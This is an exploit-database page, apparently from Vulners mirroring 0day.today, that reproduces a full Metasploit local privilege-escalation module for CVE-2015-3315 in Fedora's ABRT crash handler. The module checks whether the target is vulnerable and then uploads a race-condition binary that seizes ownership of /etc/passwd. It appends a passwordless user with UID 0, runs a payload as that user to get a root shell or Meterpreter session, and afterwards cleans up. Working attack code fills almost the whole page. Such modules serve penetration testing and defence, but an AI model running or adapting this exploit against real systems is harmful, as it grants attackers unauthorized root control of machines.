Lucene search
K

ABRT - raceabrt Privilege Escalation Exploit

🗓️ 17 Feb 2018 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 60 Views

ABRT raceabrt Privilege Escalation on Fedora systems using a race condition to gain root privileges

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
 
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ABRT raceabrt Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on Fedora systems with
        a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
        as the crash handler.
 
        A race condition allows local users to change ownership of arbitrary
        files (CVE-2015-3315). This module uses a symlink attack on
        '/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd,
        then adds a new user with UID=0 GID=0 to gain root privileges.
        Winning the race could take a few minutes.
 
        This module has been tested successfully on ABRT packaged version
        2.1.5-1.fc19 on Fedora Desktop 19 x86_64, 2.2.1-1.fc19 on Fedora Desktop
        19 x86_64 and 2.2.2-2.fc20 on Fedora Desktop 20 x86_64.
 
        Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tavis Ormandy', # Discovery and C exploit
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'DisclosureDate' => 'Apr 14 2015',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'References'     =>
        [
          [ 'CVE', '2015-3315' ],
          [ 'EDB', '36747' ],
          [ 'BID', '75117' ],
          [ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],
          [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
          [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],
          [ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],
          [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],
          [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],
          [ 'URL', 'https://access.redhat.com/articles/1415483' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]
        ]
    ))
    register_options(
      [
        OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),
        OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]),
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
      ])
  end
 
  def base_dir
    datastore['WritableDir']
  end
 
  def timeout
    datastore['TIMEOUT']
  end
 
  def check
    if cmd_exec('lsattr /etc/passwd').include? 'i'
      vprint_error 'File /etc/passwd is immutable'
      return CheckCode::Safe
    end
 
    kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
    unless kernel_core_pattern.include? 'abrt-hook-ccpp'
      vprint_error 'System is NOT configured to use ABRT for crash reporting'
      return CheckCode::Safe
    end
    vprint_good 'System is configured to use ABRT for crash reporting'
 
    if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'
      vprint_error "Directory '/var/spool/abrt' exists. System has been patched."
      return CheckCode::Safe
    end
    vprint_good 'System does not appear to have been patched'
 
    unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'
      vprint_error "Directory '/var/tmp/abrt' does NOT exist"
      return CheckCode::Safe
    end
    vprint_good "Directory '/var/tmp/abrt' exists"
 
    if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
      vprint_error 'abrt-ccp service NOT running'
      return CheckCode::Safe
    end
    vprint_good 'abrt-ccpp service is running'
 
    abrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\s+/)[1]
    unless abrt_version.blank?
      vprint_status "System is using ABRT package version #{abrt_version}"
    end
 
    CheckCode::Detected
  end
 
  def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    cmd_exec "chmod +x '#{path}'"
    register_file_for_cleanup path
  end
 
  def exploit
    if check != CheckCode::Detected
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end
 
    @chown_file = '/etc/passwd'
 
    if datastore['USERNAME'].blank?
      @username = rand_text_alpha rand(7..10)
    else
      @username = datastore['USERNAME']
    end
 
    # Upload Tavis Ormandy's raceabrt exploit:
    # - https://www.exploit-db.com/exploits/36747/
    # Cross-compiled with:
    # - i486-linux-musl-cc -static raceabrt.c
    path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'
    fd = ::File.open path, 'rb'
    executable_data = fd.read fd.stat.size
    fd.close
 
    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    upload_and_chmodx executable_path, executable_data
 
    # Change working directory to base_dir
    cmd_exec "cd '#{base_dir}'"
 
    # Launch raceabrt executable
    print_status "Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..."
    output = cmd_exec "#{executable_path} #{@chown_file}", nil, timeout
    output.each_line { |line| vprint_status line.chomp }
 
    # Check if we own /etc/passwd
    unless cmd_exec("[ -w #{@chown_file} ] && echo true").include? 'true'
      fail_with Failure::Unknown, "Failed to own '#{@chown_file}'"
    end
 
    print_good "Success! '#{@chown_file}' is writable"
 
    # Add new user with no password
    print_status "Adding #{@username} user to #{@chown_file} ..."
    cmd_exec "echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}"
 
    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe
 
    # Execute payload executable
    vprint_status 'Executing payload...'
    cmd_exec "/bin/bash -c \"echo #{payload_path} | su - #{@username}&\""
  end
 
  def on_new_session(session)
    if session.type.to_s.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
    end
 
    # Reinstate /etc/passwd root ownership and remove new user
    root_owns_passwd = false
    new_user_removed = false
 
    if session.type.to_s.eql? 'meterpreter'
      # Reinstate /etc/passwd root ownership
      session.sys.process.execute '/bin/sh', "-c \"chown root:root #{@chown_file}\""
 
      # Remove new user
      session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\""
 
      # Wait for clean up
      Rex.sleep 5
 
      # Check root ownership
      passwd_stat = session.fs.file.stat(@chown_file).stathash
      if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0
        root_owns_passwd = true
      end
 
      # Check for new user in /etc/passwd
      passwd_contents = session.fs.file.open(@chown_file).read.to_s
      unless passwd_contents.include? "#{@username}:"
        new_user_removed = true
      end
    elsif session.type.to_s.eql? 'shell'
      # Reinstate /etc/passwd root ownership
      session.shell_command_token "chown root:root #{@chown_file}"
 
      # Remove new user
      session.shell_command_token "sed -i 's/^#{@username}:.*$//g' #{@chown_file}"
 
      # Check root ownership
      passwd_owner = session.shell_command_token "ls -l #{@chown_file}"
      if passwd_owner.to_s.include? 'root'
        root_owns_passwd = true
      end
 
      # Check for new user in /etc/passwd
      passwd_user = session.shell_command_token "grep '#{@username}:' #{@chown_file}"
      unless passwd_user.to_s.include? "#{@username}:"
        new_user_removed = true
      end
    end
 
    unless root_owns_passwd
      print_warning "Could not reinstate root ownership of #{@chown_file}"
    end
 
    unless new_user_removed
      print_warning "Could not remove user '#{@username}' from #{@chown_file}"
    end
  rescue => e
    print_error "Error during cleanup: #{e.message}"
  ensure
    super
  end
end

#  0day.today [2018-03-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation